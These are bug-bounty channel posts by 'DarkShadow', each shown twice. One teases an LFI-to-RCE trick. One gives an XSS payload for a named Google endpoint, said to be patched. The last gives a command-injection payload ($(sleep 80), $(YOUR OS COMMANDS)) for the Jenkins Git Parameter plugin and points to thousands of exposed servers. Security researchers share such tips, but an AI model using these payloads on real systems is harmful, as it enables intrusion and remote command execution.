Hey Hunter's
Ever seen a Local File Inclusion (LFI) turn into full Remote Code Execution (RCE) using just a phpinfo() page?
Sounds crazy, right? But trust me, it's one of the coolest and mind-blowing tricks you'll ever see in web exploitation!
If you're truly curious and want to witness the full step-by-step Proof of Concept (PoC) tested on a live website.
I'll walk you through every detail — no gatekeeping, just pure hacker knowledge.
This method will seriously change how you think about LFI vulnerabilities!
Show some love—React, comment, and follow me👉🏼 DarkShadow
#POC@brutsecurity
Ever seen a Local File Inclusion (LFI) turn into full Remote Code Execution (RCE) using just a phpinfo() page?
Sounds crazy, right? But trust me, it's one of the coolest and mind-blowing tricks you'll ever see in web exploitation!
If you're truly curious and want to witness the full step-by-step Proof of Concept (PoC) tested on a live website.
I'll walk you through every detail — no gatekeeping, just pure hacker knowledge.
This method will seriously change how you think about LFI vulnerabilities!
Show some love—React, comment, and follow me👉🏼 DarkShadow
#POC@brutsecurity
❤27🔥14👍7👨💻1
Hey Hunter's,
DarkShadow here back again. Dropping a Google XSS POC1😁
✅POC steps:
a simple XSS payload as usual😏
The vulnerability has been patched🥱
Don't forget to follow me 👉🏼 DarkShadow
#xss #poc #googlebug
DarkShadow here back again. Dropping a Google XSS POC1😁
✅POC steps:
Vuln host: aihub.cloud.google.com
Vuln param: /url?q= (GET method)
Tecniq: double url encoding
Payload: "><svg/onload=alert(document.domain)>
a simple XSS payload as usual😏
The vulnerability has been patched🥱
Don't forget to follow me 👉🏼 DarkShadow
#xss #poc #googlebug
😱10👍7🔥4🫡2🗿1
Hey Hunter's,
DarkShadow here back again, just dropping a critical RCE...
🔥Jenkins Git Parameter Plugin – Command Injection💀
The Jenkins plugin “Git Parameter” (versions up to 439.vb_0e46ca_14534) allows attackers to inject arbitrary Git parameter values into shell commands.
Approximately 15,000 publicly accessible Jenkins servers have authentication disabled! And some others allow anyone to create accounts freely.
POC payload:
insert here $(YOUR OS COMMANDS)
So guy's if you like to more read latest POC's show your love's and share.
~DarkShadow
#bugbountytips #poc #Infosec #rce
DarkShadow here back again, just dropping a critical RCE...
🔥Jenkins Git Parameter Plugin – Command Injection💀
The Jenkins plugin “Git Parameter” (versions up to 439.vb_0e46ca_14534) allows attackers to inject arbitrary Git parameter values into shell commands.
Approximately 15,000 publicly accessible Jenkins servers have authentication disabled! And some others allow anyone to create accounts freely.
POC payload:
set parameter type: branch
Input the Payload in, set default value: $(sleep 80)
insert here $(YOUR OS COMMANDS)
So guy's if you like to more read latest POC's show your love's and share.
~DarkShadow
#bugbountytips #poc #Infosec #rce
❤16👏3👍2